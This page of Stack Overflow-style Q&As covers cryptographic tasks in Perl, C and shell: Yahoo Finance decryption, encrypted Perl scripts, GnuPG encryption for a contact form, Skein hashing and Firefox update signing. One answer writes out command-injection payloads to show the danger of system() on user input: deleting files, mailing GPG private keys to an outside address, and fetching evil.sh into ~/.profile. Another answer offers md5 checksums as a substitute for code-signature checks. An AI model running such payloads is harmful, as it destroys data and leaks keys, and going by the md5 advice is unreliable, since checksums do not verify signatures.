Background
Yahoo Finance recently (Nov-2022?) started encrypting their returns from queries such as: curl --silent --output - https://finance.yahoo.com/quote/t.
I found some Python code that will decode this in https://github.com/ranaroussi/yfinance/blob/main/yfinance/data.py#L49
Since Python is an Algol-like language, I was hoping it would be a quick port.
Here is where I hit a snag: https://github.com/ranaroussi/yfinance/blob/main/yfinance/data.py#L82
I was hoping for some relief from an existing perl module, such as Crypt::OpenSSL::FASTPBKDF2.
I know just enough about cryptography to hurt myself.
My question(s):
Is there a straightforward port for the Python function EVPKDF? It seems so close, except for the hashAlgorithm="md5" portion of EVPKDF(password, salt, keySize=32, ivSize=16, iterations=1, hashAlgorithm="md5").
The Crypt::OpenSSL::FASTPBKDF2 module doesn't seem to support md5. I know that md5 was defeated over a decade ago, but it seems to be what Yahoo is dishing out, based on the Python code.
Any thoughts are welcome.
My goal is to get the data, and I am not above using a system("openssl kdf..."); call. Not this time, anyway.
Related
I'm trying to use Filter::Crypto module, but I'm little bit struggling with it. I would like to encrypt a script
crypt_file script.pl > encrypted_script.pl
and then use that encrypted script on another machine.
When I use
pp -f Crypto -M Filter::Crypto::Decrypt -o encrypted_script encrypted_script.pl
created binary works fine - it contains key for decryption. But I want to use just the encrypted_script.pl file. I would like to provide fully functional encrypted perl script, which nobody would be able to decrypt (easily). Is it even possible?
You're talking about digital rights management, although you may not know it.
Encrypting something so it's really hard to read is relatively easy. Doing so at the same time as allowing someone to read it, but only when you say so is really difficult. (as in, basically impossible without control over the target infrastructure, at which point it's largely academic anyway)
That goes double when you're trying to use an interpreted language like perl, because obfuscation tricks have to be de-obfuscated before you can run them.
The module explains some of this, and has some mechanisms to make it slightly harder, but at a pretty fundamental level - it's impossible to do exhaustively.
I am currently programming my own little website system (a script that compiles Markdown documents, and puts them in appropriate locations, thus making a quick, static website).
I would like to enable people who go to my (initially static) contact page, to send me a GnuPG-encrypted message.
Basically, the visitor writes his or her message in a contact form, clicks this checkbox if they want the message to be encrypted, and upon receiving the form, a C(?) program of mine calls system("gpg --encrypt --recipient 31A49121CD42FF00 --armor <the_message>");
(I have yet to determine how to effectively get the message contents and use it in a command without writing the unencrypted message to disk).
Is it (un)secure to use exec() in a self-made C program that processes form data? Is there a simpler way to achieve what I want to do (using a standalone script—because my website is static—to run GPG)? Any security considerations I haven’t thought about?
I am asking on here instead of Security SE because I am looking for answers with developers’ points of view.
As a security professional who makes at least a modest living consulting on the subject, and a rather prolific C programmer I can give you a few different thoughts on the subject.
When you are considering security of processes executing on your target, you have to consider a number of things and how someone may abuse the situation.
A glimpse
Let's look at the immediate security problem that I see just off hand, you are using the "system()" call directly on <the_message> ; Can you imagine the following:
the_message="hello and goodbye; rm -rf *; cat $HOME/.gpg/* | /usr/bin/sendmail -s 'these are the private keys' temporary_account#hotmail.com" or worse;
the_message="hello and goodbye; wget http://some.remote.system.com/evil.sh && mv evil.sh ~/.profile;"
So the first thing to do is never use anything provided by a user as a command or part of a command-line; save the message to a temporary text file and encrypt that;
A slightly deeper look
Okay so what's going on in terms of using C; Before I give you the answer, I would like to say I love C; I almost exclusively program in C and have been a professional developer with main focus on C for last 24 years. Now, I would like to say that C is a horrid tool for writing a CGI program in, and you should only do it if you have a truly compelling reason. And after you find that reason, you should discard it anyways and abandon the thought.
Here are some reasons why you SHOULDN'T use C for a CGI interface.
CGI/1.1 is an ugly standard; It uses environment variables, stdin, and all sorts of character remapping and recoding just to get data across. You are invariably going to have to deal with either implementing a cgi interface or using libcgi or some equivalent library in order to deal with all the permutations, and at the end you'll just hate yourself for it.
When I used http://libcgi.sourceforge.net for a particular project I had to debug and harden and augment it because it had some horrible buffer over flow issues left right and center, non-existant utf-8 support and limited control over authentication.
But even if you have that covered, C is generally a bad idea because a lot of the security issues arise out of the manual manipulation of memory that one has to do.
A higher level language (shell script, awk, perl, php etc.) is a much better tool to handle CGI; Perl was almost built for it, and PHP was specially built for it. Another advantage of using perl or PHP in your situation is that GnuPG modules are available so that you don't have to system() anything;
The key to good development is to use the easiest, most straightforward toolkit for the job; In your case I think you should NOT use C, as it would force you to do things that are already very well done for you in form of a proper CGI processing language such as PHP.
Those are my thoughts; I hope that you will
Does anyone know if there's a way to validate the signature of a Windows program under Unix? In a similar way like with signtool under Windows?
Thanks in advance!
T.
There are different signature algorithm possible, and Windows could have written their own in which case you might be out of luck.
You can use "md5" or "sum". You could validate the code in Windows and if validated, calculates it's "md5" signature and use that for Unix (and from that point, also use if for Windows if you want).
I would first investigate what kind of algorithm that windows tool uses, then you could see if the equivalent is available under Unix. If it is not MS proprietary code, a Unix equivalent likely already exists.
So the April 1, 2013 xkcd Externalities web comic features a Skein 1024 1024 hash breaking contest. I'm assuming that this must be nothing more than a brute force effort where random strings are hashed in an effort to match Randall's posted hash? Is this correct?
Also, my knowledge of Skein hashing theory is virtually non-existent but being a halfway decent programmer I was able to download and run both SkeinFish (C#) and Maarten Bodewes Skein implementation (Java) locally in 1024 1024 mode with some input strings. The hashes that they gave, however, were different than the hash that xkcd returned for the same input. This may be an extremely naive question but do different Skein implementations give different hashes? And what Skein implementation is xkcd using?
Thanks for pardoning my ignorance!
There are several different iterations of the skein algorithm. XKCD is using version 1.3, which is also the most recent. Sources can be found here (look for "V1.3")
Interestingly enough, this brute-force method is the same one employed by Bitcoin to "mine" bitcoins. The big differences are the hash algorithm (SHA-256 in that case) and the target hash (which is dynamically determined to be any hash starting with a certain number of zeros.) It takes a lot of work to discover the hash, but once it has been found it is trivial to verify the source bits and that the resulting hash meets the criteria.
Here's the source code the Stanford team used. We ran this on about a hundred 8-core EC2 servers for a while, but not the whole competition.
https://github.com/jhiesey/skeincrack
If you were hashing non-alphanumeric characters (spaces, punctuation, etc.), you may have been getting different results due to HTML form encoding. The "enctype" attribute on the form XKCD was hosting was "application/octet-stream", which according to https://developer.mozilla.org/en-US/docs/HTML/Element/form is not a browser-supported standard. I assume the browser falls back on the URL-encoding type when it sees one it doesn't recognize.
I observed the string "=" being submitted URL-encoded in Chrome, and returning a different hash than what I got locally with the latest pyskein. But when I submitted it with this curl command line (no longer works), I got the expected hash:
curl -X POST --data-binary "hashable==" "http://almamater.xkcd.com/?edu=school.edu"
The Stanford code in another answer does the same thing, and they apparently had some success. I never got any random data to locally hash to a better score than even my own school, so I never got a chance to test thoroughly how to pass arbitrary data in properly. I don't know what the exact behavior was (e.g., perhaps if you omitted hashable= the server would detect that and just hash the whole POST body), but it may have intentionally been a little tricky as part of April Fool's.
I'm developing a firefox extension and I'd like to provide automatic update to my beta-testers (who are not tech-savvy). Unfortunately, the update server doesn't provide HTTPS. According to the Extension Developer Guide on signing updates, I have to sign my update.rdf and provide an encoded public key in the install.rdf.
There is the McCoy tool to do all of this, but it is an interactive GUI tool and I'd like to automate the extension packaging using an Ant script (as this is part of a much bigger process). I can't find a more precise description of what's happening to sign the update.rdf manifest than below, and McCoy source is an awful lot of javascript.
The doc says:
The add-on author creates a public/private RSA cryptographic key pair. The public part of the key is DER encoded and then base 64 encoded and added to the add-on's install.rdf as an updateKey entry.
(...)
Roughly speaking the update information is converted to a string, then hashed using a sha512 hashing algorithm and this hash is signed using the private key. The resultant data is DER encoded then base 64 encoded for inclusion in the update.rdf as an signature entry.
I don't know well about DER encoding, but it seems like it needs some parameters.
So would anyone know
either the full algortihm to sign the update.rdf and install.rdf using a predefined keypair, or a scriptable alternative to McCoy
whether a command-line tool like asn1coding will suffise
a good/simple developer tutorial on DER encoding
Things have moved since last year:
welcome to uhura (and they are listed on the official MDC McCoy page)
uhura -k signature.key yourextension.xpi http://yourupdateurl
Additional advantage is that you can generate, backup, move your own crypto keys without being bound to mozilla's DB. Only drawback is: Perl based (how painful to fix missing dependencies, with or without CPAN)
As a side note, I had almost started writing my own python-based script, but could not find any RDF-aware signing lib; or, actually, even XML-signing libs are crap for python (but hey, XML-DSig is inherently evil, isn't it). Why did Mozilla pick RDF for the extension manifest?
not sure if you already found solution, but McCoy tool has a command line patch.